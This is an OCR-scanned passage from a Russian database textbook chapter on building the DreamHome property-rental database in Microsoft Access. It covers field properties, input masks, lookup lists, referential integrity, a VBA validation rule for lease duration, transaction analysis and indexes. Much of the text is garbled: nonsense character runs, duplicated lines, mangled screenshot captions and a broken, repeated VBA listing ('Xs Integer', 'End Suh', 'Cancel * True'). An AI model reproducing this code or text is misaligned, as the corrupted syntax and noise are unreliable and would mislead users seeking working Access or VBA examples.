:||J|||R^
l№S6lilll5;^
;^1^м^^ \p>L0"
pZ| Branch_No
|5|й^
:||J|||R^
l№S6lilll5;^
;^1^м^^ \p>L0"
Text Text Text Text
Text Text
= Number Currency
Hext Text Text Text
Text Text Text Text
Text Text
= Number Currency
Hext Text Text Text
. Uniquely identifies each property for rent.
: Street of property address.
Area of property address.
' City of property address.
Postcode of property address.
Code describing the type of property.
■ Number of rooms in a property (excluding bathroom(s)).
Monthly rent.
Uniquely identifies the person owner of property, Uniquley identifies the business owner of property.
. Uniquely identifies each property for rent.
: Street of property address.
Area of property address.
' City of property address.
Postcode of property address.
Code describing the type of property.
■ Number of rooms in a property (excluding bathroom(s)).
Monthly rent.
Uniquely identifies the person owner of property, Uniquley identifies the business owner of property.
- "ABbWZttreijM^': No
5 tridexad. ' ^^"'^Yes (No Duplicates)
- "ABbWZttreijM^': No
5 tridexad. ' ^^"'^Yes (No Duplicates)
'Ж
'Ж
Uniquely identifies the member of staff responsible for the management of property. • > Uniquely identifies the branch office at which the property is registered.(^
Uniquely identifies the member of staff responsible for the management of property. • > Uniquely identifies the branch office at which the property is registered.(^
A f Ий nwm cSn be up h;M charae^lohg^ гy^ i^^ £t faМролМ^йй^^
A f Ий nwm cSn be up h;M charae^lohg^ гy^ i^^ £t faМролМ^йй^^
Puc. 12.4. Таблица Property_for_Rent, представленная в режиме DesignView, — в секции Field Properties отображены сведения о поле Property^No
Определение первичного ключа
Первичным ключом для таблицы Property_for_Rent является поле Property^No. В режиме Design View это отмечается с помощью пиктограммы ключа, размещенной в начале строки описания соответствующего поля (см. рис. 12.4). Определение поля Property^No как первичного ключа гарантирует, что все значения номера объекта в таблице Property_for_Rent будут уникальными. Кроме того, первичный ключ определяет первичный индекс файла таблицы и упорядоченность записей в таблице.
Для тех таблиц в базе данных приложения DreamHome, которые имеют составной первичный ключ, включающий два (и больше) поля, все эти поля должны быть отмечены пиктограммой ключа в начале строки их описания. Например, для таблицы Viewing в приложении 11.3 указан составной первичный ключ, образованный полями Property_No, Renter_No и Date_View.
Процесс создания таблицы Property_for_Rent должен быть продолжен с целью включения всех остальных ограничений, указанных в листинге 12.1.
Определение свойств полей
СУБД Microsoft Access предоставляет средства и для указания дополнительных ограничений для полей таблицы, которые вводятся в секции Field Properties окна Table Design View (см. рис. 12.4).
С каждым полем таблицы связывается набор свойств, которые могут быть использованы для настройки способа хранения данных в поле, методов работы с полем и способа его отображения на экране. Например, помещая требуемое значение в свойство Field Size можно задавать максимальное количество символов, которое допускается вводить в конкретное поле типа Text. Тип данных поля определяет набор свойств, которые будут доступны в описании этого поля. Доступ к свойствам полей осуществляется посредством выбора требуемого поля в верхней секции окна Table Design View, после чего появляется возможность выбора требуемых свойств в нижней секции этого окна. Установка значений свойств полей в окне Table Design View гарантирует, что поля будут иметь корректные значения свойств при использовании их описаний в процессе создания форм или отчетов. Мы продемонстрируем использование свойств полей на примере таблицы Property for Rent, описание которой приведено в листинге 12.1.
Свойство Field Size
Полям с типом данных Text, Number и AutoNumber (Counter) доступно свойство Field Size, предназначенное для задания максимальной длины данных, которые могут сохраняться в этом поле. Например, значение свойства Field Size поля Property_No (с типом Text) следует установить равным 5 (см. рис. 12.4). На рис. 12.5 представлено значение, установленное в этом свойстве для поля Rooms, имеющего тип Number. Выбранное значение Byte позволит помещать в это поле любые числа в диапазоне от 0 до 255. Обратите внимание, что на рис. 12.5 показана только секция Field Properties для поля Rooms окна Table Design View, содержащего описание таблицы Property_for_Rent.
|№^W
У$|$|^£^^Or <-15
^Vflklal^^^^^^^1 to 15
й|&ей^^'2
Puc. 12.5. Секция Field Properties для поля Rooms — часть окна Table Design View, содержащего описание таблицы. Property_for_Rent
Свойство Format
Свойство Format предназначено для определения способа отображения и вывода на печать полей, содержащих числа, даты, отметки времени или текстовые данные. СУБД Microsoft Access предоставляет широкий диапазон форматов для представления данных различных типов. Например, поля, содержащие дату/время, могут отображать даты в различном формате — коротком (Short Date), среднем (Medium Date) или длинном (Long Date). Дата “1 ноября 1933 года” может быть представлена как “01.11.33” (короткий формат), “01-ноя-ЗЗ” (средний формат) или “1 ноября 1933” (длинный формат).
Сбойстбо Decimal Places
Свойство Decimal Places предназначено для указания количества дробных десятичных знаков, которые должны выводиться при отображении чисел. Например, для поля Rooms таблицы Property_for_Rent (см. рис. 12.5) следует выводить 0 десятичных знаков (целое число).
Свойство Input Mask
Свойство Input Mask используется при вводе данных в таблицу для организации контроля формата вводимых значений. Маска определяет тип символа, допустимого в каждой позиции входного поля. Кроме того, маска ввода может упрощать ввод данных за счет автоматического помещения специальных форматирующих символов в требуемые позиции и генерации сообщений об ошибках при попытке ввода некорректной информации.
СУБД Microsoft Access предоставляет широкий диапазон символов маски, позволяющих эффективно управлять процессом ввода данных. Например, значения, которые должны вводиться в поле Property_No таблицы Property_for_Rent имеют особый формат, описанный в приложении 10.4, там же приведены примеры допустимых значений этого поля. Первым символом в значении должна быть буква Р, представляющая слово “property”. Вторым символом должна быть прописная буква, а остальные символы должны быть цифровыми. Четвертый и пятый символ являются необязательными и используются только в случае необходимости. Вот примеры допустимых значений данного поля: PG4, PL21. Как видно из рис. 12.4, маска ввода для поля Property_No таблицы Property_for_Rent имеет значение х\P>L099r. Символ \ требует, чтобы следующий за ним символ отображался в поле ввода как литерал (в данном случае сочетание \Р вызовет отображение на экране символа Р). Сочетание >L требует, чтобы следующим за Р символом вводилась обязательно буква, которая при необходимости автоматически будет переведена в верхний регистр. Символ 0 указывает, что в данной позиции обязательно должна быть введена цифра, тогда как символ 9 разрешает вводить в соответствующую позицию либо цифру, либо ничего. Прочие текстовые поля — Postcode, POwner_No, BOwner_No, Staff_No и Branch^No — также имеют собственный формат значений, требующий, чтобы информация вводилась в них определенным образом.
Свойство Caption
Свойство Caption используется для ввода более полного описания имени поля или для размещения другой полезной информации, отображаемой в заголовках различных представлений. Например, если свойству Caption поля Property_No присвоить значение * Property Number', то именно это значение будет выведено в заголовок соответствующего столбца сетки данных вместо имени поля.
Свойство Default Value
С целью ускорения процесса ввода данных и уменьшения количества возможных ошибок, для любого поля можно указать значение, которое будет автоматически помещаться в соответствующее поле ввода при создании новой записи. Все значения по умолчанию, которые должны быть назначены полям таблицы Property_for_Rent пере-
числены в листинге 12.1. Например, среднее количество комнат для сдаваемых в аренду объектов равно четырем, поэтому именно это значение выбрано как принимаемое по умолчанию для поля Rooms таблицы Property_for_Rent (см. рис. 12.5).
Свойства Validation Rule и Validation Text
Свойство Validation Rule предназначено для задания требований, которым должно отвечать введенное в поле значение. При вводе данных, для которых установленные правила проверки не выполняются, пользователю выводится сообщение, содержащее текст, помещенный в свойство Validation Text.
Правила проверки могут использоваться для определения диапазона допустимых значений числовых полей и полей дат. Задание подобных ограничений существенно уменьшает количество ошибок, допускаемых при вводе данных в таблицу. Например, для каждого сдаваемого в аренду объекта возможное количество комнат находится в диапазоне от одной до пятнадцати. Соответствующее правило проверки значений, вводимых в поле Rooms таблицы Property_for_Rent, показано на рис. 12.5.
Свойство Required
Обязательными называются такие поля, которые должны содержать конкретное значение в любой из записей таблицы. Если свойству Required некоторого поля присвоить значение Yes, это будет означать, что данное поле является обязательным. В результате, при вводе новых записей в подобное поле обязательно потребуется ввести значение, отличное от NULL. Таким образом, установка того или иного значения свойства Required эквивалентна разрешению или запрету помещения в данное поле определителя NULL. В описании таблицы Property for_Rent на расширенном языке DBDL (см. листинг 12.1) указано, может ли каждый из атрибутов содержать значение NULL (т.е. требуемое значение свойства Required). Например, каждый из сдаваемых в аренду объектов должен быть зарегистрирован в одном из отделений компании, поэтому поле Branch_No является обязательным и не должно содержать значения NULL. Однако в случае поля Postcode картина иная, поскольку почтовый индекс в адресе отдельных сдаваемых в аренду объектов вполне может оставаться неизвестным. Поэтому данное поле не является обязательным и допускает наличие пустых значений (NULL).
Поскольку поля первичных ключей играют особую роль — служат для уникальной идентификации каждой из записей в таблице, выдвигается жесткое требование: ключевые атрибуты всегда должны быть обязательными полями и не должны содержать пустых значений. При создании таблицы для каждого поля (включая и ключевые) по умолчанию принимается, что оно не является обязательным. В качестве примера на рис. 12.4 представлено описание поля Property_No, первичного ключа таблицы Property_for^Rent, в котором свойству Required присвоено значение Yes.
Свойство Allow Zero Length
Свойство Allow Zero Length используется для указания того, допускается ли помещать в текстовое поле символьную строку нулевой длины (*"). Это свойство применяется только для полей типа Text, Memo и Hyperlink. Подробнее речь об этом свойстве пойдет ниже, при обсуждении этапа 7. Если необходимо, чтобы СУБД Microsoft Access при вводе в некоторое поле пустого значения помещала в таблицу вместо значения NULL строку нулевой длины, то обоим свойствам, и Allow Zero Length, и Required, следует присвоить значение Yes.
Однако свойство Allow Zero Length работает независимо от свойства Required. Последнее предназначено лишь для указания того, допускается или нет помещение в данное поле значения NULL. Если свойству Allow Zero Length присвоено значение Yes, то строки нулевой длины будут считаться допустимым значением для данного поля независимо от состояния его свойства Required.
Свойство Indexed
Свойство Indexed может использоваться для создания индексов по одному полю. Наличие индекса ускоряет выполнение запросов к проиндексированному полю, а также операции сортировки и группирования. Создание индексов в базе данных приложения DreamHome будет обсуждаться ниже, при рассмотрении этапа 5.3.
Создание списков Lookup List и Value List
Альтернативный способ ускорения ввода данных и сокращения ошибок состоит в использовании функции, обеспечивающей выборку по запросу или предоставление списка заранее подготовленных допустимых значений. Эта функция при вводе данных действует как справочник, предоставляя пользователю список допустимых значений некоторого поля и автоматически помещая в запись выбранное им значение.
Для определения поля, использующего список выборки или фиксированных значений, можно воспользоваться мастером Lookup Wizard. В списке выборки (Lookup List) отображаются значения, выбранные из некоторой самостоятельно существующей таблицы либо полученные в результате выполнения запроса. Список фиксированных значений (Value list) содержит заранее определенный перечень допустимых значений, введенных при определении поля в окне Table Design View.
Хорошим кандидатом на использование списка выборки или списка фиксированных значений является поле Туре таблицы Property_for_Rent. Для этого поля существует лишь ограниченный перечень допустимых значений, представленный в листинге 12.1. Полное описание всех существующих типов сдаваемых в аренду объектов и их краткие обозначения приведены в табл. 12.1.
Таблица 12.1. Допустимые значения для поля Туре таблицы Property_for_Reht
Значение Туре
Значение Prop_Description
В
Bungalow (Бунгало)
С
Cottage (Коттедж)
D
Detached (Отдельно стоящий дом)
Е
End-Terrace (Угловой дом квартала)
F
Flat (Квартира)
М
Mid-Terrace (Не угловой дом квартала)
S
Semi-Detached (Дом в группе отдельно стоящих домов)
Для хранения информации, представленной в табл. 12.1, мы создадим справочную таблицу с именем Property_Type, строки которой будут состоять из двух полей с именами Туре и Prop_Description. Поле Туре (ключевое) имеет то же самое имя и свойства, что и поле Туре в таблице Property_for_Rent. Оно предназначено для хранения кодов типов объектов. Поле Prop_Des dipt ion содержит описание типа объекта и служит для напоминания пользователю о смысле каждого значения кода объекта.
С помощью мастера Lookup Wizard следует определить для поля Туре таблицы Property_for_Rent список выборки, связанный с полем Туре таблицы Property_Type. При каждой попытке что-либо ввести в поле Туре таблицы Property_for_Rent в нем появляется кнопка со стрелкой вниз, указывающая, что для данного поля существует список допустимых значений (Lookup List). Получив доступ к списку, достаточно выделить в нем требуемое значение, и оно автоматически будет помещено в поле Туре таблицы Property_for_Rent — как показано на рис. 12.6.
Функция списка выборки осуществляет считывание значений кода типа объектов (поле Туре) из таблицы Property_Type и помещает в список соответствующие им описания типа объектов (поле Prop_Description). При выборке некоторой строки в списке значение внешнего ключа в текущей записи (поле Туре таблицы Property_for_Rent) принимается равным значению первичного ключа выбранной записи родительской таблицы (поле Туре таблицы Property_Type). В результате между таблицами устанавливается связь, позволяющая отображать в поле ввода (но не сохранять) описание типа объекта. Значение внешнего ключа (Туре) сохраняется в записи, но не отображается. Поэтому любые изменения, вносимые в данные таблицы PropertyJType, будут отображаться как в списке выборки, так и в полях Туре записей таблицы Proper ty_for_Rent. Список выборки всегда определяется для поля таблицы, содержащей внешний ключ, причем вместо значений этого ключа будут отображаться значения из списка. В нашем примере список выборки был определен для поля таблицы Ргор- erty_for_Rent.
Список значений (Value list) внешне выглядит точно так же, как и список выборки. Однако он содержит фиксированное множество значений, введенных при создании данного поля. Список значений должен применяться для полей, допустимые значения которых меняются очень редко, причем в таблице должны сохраняться сами эти значения. Например, можно было бы создать список значений для поля City таблицы Property_for_Rent и включить в него значения Aberdeen, Glasgow и London. Выбор определенного значения из подобного списка вызовет лишь простое сохранение этого значения в записи, а не установку связи между двумя таблицами. Поэтому изменение любых исходных значений в списке никак не отразится на содержимом тех записей таблицы, которые были помещены в нее до внесения этих изменений. В данном случае это не имеет особого значения, поскольку названия городов меняются крайне редко. Более того, расширить в случае необходимости созданный ранее список допустимых значений не составит особенного труда.
~РгОреЩ^ур Street
] Area
77pr-^T
[Postcode 1
Type |
Rooms j
РА14
16 Holhead
Dee
Aberdeen
AB75SU
Bungalow
6
>
PG16
5 Novar Dr
Hyndiand
Glasgow
G12 9AX
Flat-f
4 '
PG21
18 Dale Rd
Hyndiand
Glasgow
G12
Bungalow
5 1
PG36
2 Manor Rd
Glasgow
G32 4QX
Cottage
3
PG4
6 Lawrence St
Patrick
Glasgow
G11 9QX
Detached
3
PL94
6 Argyll St
Kilburn
London
NW2
End-Terrace „
4 -
*
R»
cord: Hl < (|
.2 " riblHtof 6 . :
I Mid-Terrace Semi-Detached
14
В PROPFRTY„FOR_RENT : Table
№ЕЗ
Рис. 12.6. Использование списка выборки для ввода значения поля
Туре таблицы Property_for_Rent
Далее следует продолжить процесс реализации отношений приложения DreamHomet описанных в приложении 11.3. После того как все таблицы созданы, можно приступить к реализации связей между ними и определению требований поддержки ссылочной целостности для каждой из этих связей.
Определение связей и требований поддержки ссылочной целостности
В базе данных, которая на данный момент является полностью нормализованной, логически связанные данные могут храниться в нескольких различных таблицах. Поэтому очень важно, чтобы СУБД была способна корректно объединять логически связанные данные, сохраняемые в различных таблицах. Соединение связанной информации осуществляется с помощью установки между таблицами связей. Если между таблицами была установлена связь, то дополнительно для нее можно определить требования поддержки ссылочной целостности данных.
Обеспечение ссылочной целостности является важнейшим требованием к любой связи, поскольку в этом случае гарантируется согласованность данных между двумя связанными таблицами. Ссылочная целостность поддерживается за счет установления между родительской и дочерней таблицами связи, осуществляемой через поле, присутствующее в обеих таблицах.
Мы проиллюстрируем процесс реализации связи с определением требований поддержки ссылочной целостности на примере таблиц Staff и Property_for_Rent. Таблица Property_for_Rent (дочерняя) содержит поле Staff_No, являющееся внешним ключом. Это же поле в таблице Staff является первичным ключом. Наличие поля Staff_No позволяет выполнять соединение этих таблиц.
Только что созданная таблица не имеет связей с какой-либо иной таблицей. Для создания связей в СУБД Microsoft Access используется окно Relationships, в которое помещаются таблицы, соединяемые новой связью. Для определения новой связи поле первой таблицы, с помощью которого эта связь организуется, необходимо перетащить на соответствующее поле второй таблицы. В качестве примера поместим в окно Relationships таблицы Staff и Property_for_Rent, после чего создадим между ними новую связь — как показано на рис. 12.7. Обратите внимание, что СУБД Microsoft Access выводит символ “1” над той частью соединительной линии, которая представляет в созданной связи сторону “один”, а символ “«>” — над той частью линии, которая представляет сторону “многие”. В нашем примере “один” работник отвечает за “многие” сдаваемые в аренду объекты.
RelationshipsRelationshipsrName ||||y|lNameTel NorName ||||y|lNameTel NoIVopertyJtoStreetCity Postcode Type RoomsPOwner_No BOwner^No Staff _No Brandl _NoIVopertyJtoStreetCity Postcode Type RoomsPOwner_No BOwner^No Staff _No Brandl _NoРис. 12.8. Диалоговое окно Relationships для связи между таблицами Staff (родительской) и Property_for_Rent (дочерней)Рис. 12.8. Диалоговое окно Relationships для связи между таблицами Staff (родительской) и Property_for_Rent (дочерней)Затем на экран выводится диалоговое окно .Relationships, содержащее имена соединяемых полей и свойства вновь установленной связи. На рис. 12.8 показан вид диалогового окна Relationships, содержащего сведения о вновь установленной связи между таблицами Staff (родительской) и Property_for_Rent (дочерней), организованной с помощью поля Staff_No, присутствующего в обеих таблицах.
Relationships
Relationships
rName ||||y|lName
Tel No
rName ||||y|lName
Tel No
IVopertyJto
Street
City Postcode Type Rooms
POwner_No BOwner^No Staff _No Brandl _No
IVopertyJto
Street
City Postcode Type Rooms
POwner_No BOwner^No Staff _No Brandl _No
Рис. 12.8. Диалоговое окно Relationships для связи между таблицами Staff (родительской) и Property_for_Rent (дочерней)
Рис. 12.8. Диалоговое окно Relationships для связи между таблицами Staff (родительской) и Property_for_Rent (дочерней)
Puc. 12.7. Окно Relationships, содержащее таблицы Staff (родительская) и Prop- erty_for_Rent (дочерняя), связанные с помощью общего поля Staff No
Требования поддержки ссылочной целостности представляют собой набор правил, гарантирующих, что связи, установленные между записями соединенных таблиц, всегда будут корректными. Автоматическая поддержка ссылочной целостности для связи между таблицами Staff и Property_for_Rent активизируется посредством установки в диалоговом окне Relationships флажка опции Enforce Referential Integrity (см. рис. 12.8). Если режим поддержки ссылочной целостности для связи между таблицами активизирован, то при попытке в процессе работы с таблицами нарушить одно из установленных правил СУБД Microsoft Access выведет окно с предупреждающим сообщением и запретит внесение данных изменений.
Можно переопределить установленные требования для операций удаления или обновления связанных записей, но сохранить режим автоматической поддержки ссылочной целостности. Для этого достаточно в диалоговом окне Relationships установить флажки опций Cascade Update Related Fields и Cascade Delete Related Records (см. рис. 12.8). При установке флажка опции Cascade Update Related Fields изменение значения первичного ключа в родительской таблице вызовет автоматическое обновление соответствующих значений во всех связанных записях дочерней таблицы. При установке флажка опции Cascade Delete Related Records удаление записи в родительской таблице вызовет удаление любых связанных с ней записей дочерней таблицы.
Например, в случае таблиц Staff и Property__for_Rent правилом обновления для атрибута Staff_No (внешний ключ) таблицы Property_for_Rent выбрано значение CASCADE (см. листинг. 12.1). Это означает, что при изменении значения поля Staff_No записи таблицы Staff требуется автоматически отразить выполненное изменение в полях Staff_No всех связанных с ней записей таблицы Property_for_Rent. Данное требование может быть реализовано посредством установки флажка опции Cascade Update Related Records (см. рис. 12.8).
Правило удаления, устанавливаемое для поля Staff_No (внешний ключ) таблицы Property_for_Rent, имеет значение SET NULL (см. приложение 11.3 к главе 11). Это означает, что при удалении записи из таблицы Staff, в поля Staff No связанных записей таблицы Property_for_Rent должно быть занесено значение NULL. Однако, как уже отмечалось выше, СУБД Microsoft Access не поддерживает данного правила для операций удаления, поэтому в физическом проекте оно заменяется правилом NO ACTION, как показано в листинге 12.1. Данное правило реализуется посредством сброса в диалогом окне Relationships флажка опции Cascade Delete Related Records (см. рис. 12.8). В результате запись таблицы Staff не может быть удалена, пока она имеет связанные с ней записи таблицы Property_for_Rent.
Процедура установки связей и определения для них требований поддержки ссылочной целостности должна быть выполнена для всех остальных внешних ключей таблицы Property^or_Rent — POwner_No (связь с таблицей Private_Owner), BOwnerJto (связь с таблицей Business Owner) и Branch No (связь с таблицей Branch). Далее необходимо установить связи и определить требования ссылочной целостности для всех остальных таблиц в базе данных приложения DreamHome.
Этап 4.1.1. Документирование проекта таблиц базы данных
На этом этапе в документацию следует поместить выполненное на языке DBDL описание всех созданных таблиц базы данных приложения DreamHome.
Этап 4.2. Реализация бизнес-правил предприятия в среде целевой СУБД
На этом этапе мы выполним проектирование и реализацию бизнес-правил, определенных в проекте приложения DreamHome. Пример подобных правил приведен в приложении 11.2. Большинство существующих в настоящее время СУБД предоставляет в распоряжение разработчиков те или иные средства реализации бизнес-правил. Для реализации бизнес-правил приложения DreamHome можно использовать либо поддерживаемый СУБД Microsoft Access макроязык, либо язык Microsoft Visual Basic for Application (VBA).
Примером установленных в приложении DreamHome бизнес-правил является следующее: “Минимальный и максимальный срок действия любого договора об аренде составляет три месяца и один год соответственно”. Давайте подготовим проект и реализуем это правило с помощью языка Microsoft VBA.
Проект реализации данного бизнес-правила предусматривает анализ значений дат, вводимых в поля Rent_Start и Rent_Finish таблицы Lease_Agreement. Если вычисленная в днях разница между этими датами будет меньше 90 или больше 365 дней, то пользователю должно быть выведено предупреждающее сообщение о нарушении существующих в организации ограничений.
Для реализации данного бизнес-правила прежде всего необходимо создать форму под названием DreamHome Lease Agreement, которая будет построена на использовании запроса, выбирающего данные из таблиц Renter, Lease_Agreement и Prop- erty_for_Rent. Затем следует поместить необходимый программный текст на языке VBA в процедуру обработки события BeforeUpdate этой формы — как показано на рис. 12.9. Теперь, всякий раз, когда пользователь потребует сохранения введенной им записи, будет вызываться процедура BeforeUpdate, проверяющая значения полей Rent_Start и Rent_Finish на наличие нарушений установленных бизнес-правил в отношении продолжительности заключаемого договора об аренде. Если нарушение обнаружено, введенная запись не сохраняется, а пользователю выводится предупреждающее сообщение, показанное на рис. 12.10. После щелчка на кнопке ОК фокус ввода вновь помещается в поле Rent_Start формы.
A Microsoft Access
жжГГForm_DreamHome - Lease Agreement Class ModuleForm_DreamHome - Lease Agreement Class Module“У| | BeforeUpdate“У| | BeforeUpdatePrivate Sub Form_Be±oceUpdate(Cance1 As Integer)1 Va 11 dsf i c n procedure t n en?ure гhat, r h^ duг ?лгioPrivate Sub Form_Be±oceUpdate(Cance1 As Integer)1 Va 11 dsf i c n procedure t n en?ure гhat, r h^ duг ?лгioDim intDuration Xs IntegerDuration = Rent_Finish - Rent StartDim intDuration Xs IntegerDuration = Rent_Finish - Rent Startbetweenbetweenandandpi^.ypi^.ynin^ ire ^5 деnin^ ire ^5 деIf intDuracion < 90 Or intDuration > 365 ThenMsgBox "The duration of a lease cannot be less than 3 months (90 days)or grRent_Start.SetFocus: Pet^rr torn?, ^ Рнцг игзгт "i*Kl<Cancel * True"Сапе»"! saving the vt'<-;?r-i?End If1If intDuracion < 90 Or intDuration > 365 ThenMsgBox "The duration of a lease cannot be less than 3 months (90 days)or grRent_Start.SetFocus: Pet^rr torn?, ^ Рнцг игзгт "i*Kl<Cancel * True"Сапе»"! saving the vt'<-;?r-i?End If1End SuhEnd SuhPuc. 12.9. Реализация бизнес-правила с использованием языка Microsoft Visual Basic for ApplicationPuc. 12.9. Реализация бизнес-правила с использованием языка Microsoft Visual Basic for Application
ж
ж
Г
Г
Form_DreamHome - Lease Agreement Class Module
Form_DreamHome - Lease Agreement Class Module
“У| | BeforeUpdate
“У| | BeforeUpdate
Private Sub Form_Be±oceUpdate(Cance1 As Integer)
1 Va 11 dsf i c n procedure t n en?ure гhat, r h^ duг ?лгio
Private Sub Form_Be±oceUpdate(Cance1 As Integer)
1 Va 11 dsf i c n procedure t n en?ure гhat, r h^ duг ?лгio
Dim intDuration Xs Integer
Duration = Rent_Finish - Rent Start
Dim intDuration Xs Integer
Duration = Rent_Finish - Rent Start
between
between
and
and
pi^.y
pi^.y
nin^ ire ^5 де
nin^ ire ^5 де
If intDuracion < 90 Or intDuration > 365 Then
MsgBox "The duration of a lease cannot be less than 3 months (90 days)or gr
Rent_Start.SetFocus: Pet^rr torn?, ^ Рнцг игзгт "i*Kl<
Cancel * True"Сапе»"! saving the vt'<-;?r-i?
End If1
If intDuracion < 90 Or intDuration > 365 Then
MsgBox "The duration of a lease cannot be less than 3 months (90 days)or gr
Rent_Start.SetFocus: Pet^rr torn?, ^ Рнцг игзгт "i*Kl<
Cancel * True"Сапе»"! saving the vt'<-;?r-i?
End If1
End Suh
End Suh
Puc. 12.9. Реализация бизнес-правила с использованием языка Microsoft Visual Basic for Application
Puc. 12.9. Реализация бизнес-правила с использованием языка Microsoft Visual Basic for Application
Puc. 12.10. Форма Lease Agreement приложения DreamHome — вывод сообщения о нарушении существующего бизнес-правила
Обратите внимание, что пользователю выводится и некоторое дополнительное предупреждение. В форме Lease Agreement приложения DreamHome имеется производное поле с именем Duration, в которое заносится продолжительность срока действия заключаемого договора, вычисленная на основе значений полей Rent_Start и Rent_Finish. Прежде чем предпринимать попытку сохранить введенную запись, пользователь может уточнить длительность срока аренды в днях, взглянув на значение в этом поле. Однако, если пользователь не обратит внимания на нарушение установленных в организации требований, процедура обработки события BeforeUpdate осуществит дополнительный контроль введенных значений и сообщит пользователю о сделанной им ошибке.
Процесс разработки и реализации бизнес-правил организации следует продолжать до тех пор, пока не будут реализованы все бизнес-правила, установленные в приложении DreamHome.
Этап 4.2.1. Документирование проекта реализации бизнес-правил
На этом этапе в документацию помещаются сведения обо всех бизнес-правилах приложения DreamHome, реализованных с использованием макроязыка СУБД Microsoft Access либо языка Microsoft Visual Basic for Application.
Этап 5. Проектирование физического представления базы данных
Назначение этого этапа состоит в выборе оптимальной организации файлов базы данных приложения DreamHome, а также методов доступа к ее таблицам. Другими словами, нам предстоит найти самый эффективный способ размещения таблиц и их записей во внешней дисковой памяти. Большинство СУБД для платформы IBM PC предоставляет лишь ограниченные возможности выбора структуры создаваемой базы данных
Несмотря на использование в качестве целевой СУБД пакета Microsoft Access, предназначенного для платформы IBM PC, у нас все же есть некоторые альтернативные варианты определения структуры базы данных. При необходимости это позволит так или иначе учитывать специфические требования большинства чаще всего выполняемых транзакций. Любые решения об изменении структуры базы данных должны приниматься на основе анализа ожидаемого поведения транзакций в создаваемой базе данных.
Существует несколько способов определить, отвечает ли структура базы данных приложения DreamHome тем требованиям, которые выдвигаются с целью эффективной реализации всех существующих типов транзакций. Сюда относится оценка пропускной способности системы, выраженная в количестве транзакций, выполняемых за некоторый промежуток времени, время ответа для некоторых транзакций и объем дисковой памяти, необходимый для размещения файлов базы данных. Ниже мы продемонстрируем использование некоторых методов анализа эффективности выполнения транзакций в базе данных с целью установления факторов, способных оказать влияние на реальную производительность функционирующей базы данных приложения DreamHome.
Этап 5.1. Анализ транзакций
Проанализируем поведение транзакций, которые должны поддерживаться в приложений DreamHome. Для демонстрации этого процесса воспользуемся следующими типами транзакций.
Составление отчета, содержащего подробные сведения о сдаваемых в аренду объектах по каждому из отделений компании.
Создание и обновление записей, включающих подробные сведения о потенциальных арендаторах объектов по каждому из отделений компании.
Составление отчета, содержащего сведения об осмотре потенциальными арендаторами сдаваемых в аренду объектов, включая полный адрес этих объектов.
Карты выполнения транзакций
Частота, с которой различные транзакции будут вызываться в приложении DreamHome, была зафиксирована в картах выполнения транзакций. Сводная карта выполнения транзакций А, В и С представлена на рис. 12.11.
На рис. 12.11, а числа, указанные в левом верхнем углу прямоугольника, представляющего каждую из сущностей, показывают ожидаемое количество экземпляров данной сущности. Значения “среднее” и “максимум” — это ожидаемое среднее и максимальное количество экземпляров данной сущности, связанных с одним экземпляром сущности в родительской таблице.
Рис. 12.11. Карта выполнения транзакций А, В и С: а) с указанием средних и максимальных значений; б) с указанием путей выполнения транзакций и операций
На рис. 12.11, б символы “I” (Insert, вставка), “R” (Read, чтение), “U” (Update, обновление) и “D” (Delete, удаление) возле стрелок путей выполнения транзакций означают выполняемые операции для соответствующей транзакции А, В или С.
Кроме того, нам известны средние и максимальные оценки количества вызовов каждой из транзакций в установленный интервал времени, а также дни и часы, в которые они могут вызываться, включая период пиковой нагрузки.
Поиск в пределах указанного отделения компании сдаваемого в аренду объекта определенного типа, удовлетворяющего требованиям потенциального клиента.
В табл. 12.2 приведены сведения об операциях вставки (I), чтения (R), обновления (U) и удаления (D), выполняемых для транзакции D, а также указано, какие именно атрибуты используются для получения доступа к входным точкам (Е). Основываясь на результатах анализа транзакций, которые должны будут выполняться в базе данных приложения DreamHome, можно сделать вывод, что многие транзакции чаще всего требуют получения доступа к таблице Property_for_Rent.
Таблица 12.2. Результаты анализа частоты вызова транзакции D
Активность
День недели
Время суток
Частота вызова в час
Пиковая
Ежедневно
11.00-14.00
40
Средняя
Ежедневно
10
От таблицы
К таблице
Атрибуты
Тип доступаЧастота вызова в
час
Branch
1
Branch_No
R(E)
Branch
Property_for_Rent
240-300
Туре (Е)*
R
Property_No
R
Address
R
Street
R
Area
R
Postcode
R
Type
R
Rooms
R
Rent
R
Этап 5.2. Выбор файловой структуры
В большинстве случаев СУБД для платформы IBM PC, подобные Microsoft Access, не предоставляют проектировщику никаких возможностей выбора или изменения способа организации файлов таблиц базы данных. Поэтому в данном случае у нас отсутствуют какие-либо средства изменить организацию файлов таблиц базы данных приложений DreamHome с целью повышения производительности системы или оптимизации использования дискового пространства.
Этап 5.3. Определение вторичных индексов
В результате проведения анализа выполнения транзакций в приложении DreamHome было принято решение создать несколько вторичных индексов, способных повысить эффективность работы всей системы. Методы повышения эффективности доступа к данным путем создания вторичных индексов подробно обсуждаются в приложении Б, “Структура данных в файлах с различной организацией”. Часть ин-
дексов можно определить при создании или корректировке структуры таблиц в окне Table Designer View. Как уже упоминалось выше, в этом окне с помощью свойства Indexed, расположенного в секции Field Properties, можно создавать индексы, но только по значениям одного поля (см. рис. 12.4). Для того чтобы создать составной индекс, а также получить доступ ко всем индексам данной таблицы, необходимо вывести на экран диалоговое окно Indexes, показанное на рис. 12.12.
СУБД Microsoft Access автоматически создает и поддерживает индексы для полей, объявленных первичными ключами таблиц, а также для полей, используемых для установления связей между таблицами. Например, как только мы определили поле Property_No таблицы Property_for_Rent как первичный ключ этой таблицы, для нее автоматически был создан индекс PrimaryKey, показанный на рис. 12.12. Кроме того, на этом же рисунке показаны индексы для всех внешних ключей таблицы Property_for_Rent — P0wner_No, BOwnerJto, Staff_No и Branch^No. Все эти индексы были автоматически созданы при установлении связей с родительскими таблицами.
^Indexes PROPERTY_HIR RFHT
BOwner^No Branch„NoBOwner^No Branch„NoPOwnerjto ”POwnerjto ”^ PrimaryKey^ PrimaryKeyProporty.NoProporty.NoBOwner„No Branch.No POwner „No Property_No Property_No : Staff NoBOwner„No Branch.No POwner „No Property_No Property_No : Staff Noф Ascending i Ascending .Asrendhg Ascending ; Ascending i Ascendingф Ascending i Ascending .Asrendhg Ascending ; Ascending i Ascending1!1!ЖЖNoNo
BOwner^No Branch„No
BOwner^No Branch„No
POwnerjto ”
POwnerjto ”
^ PrimaryKey
^ PrimaryKey
Proporty.No
Proporty.No
BOwner„No Branch.No POwner „No Property_No Property_No : Staff No
BOwner„No Branch.No POwner „No Property_No Property_No : Staff No
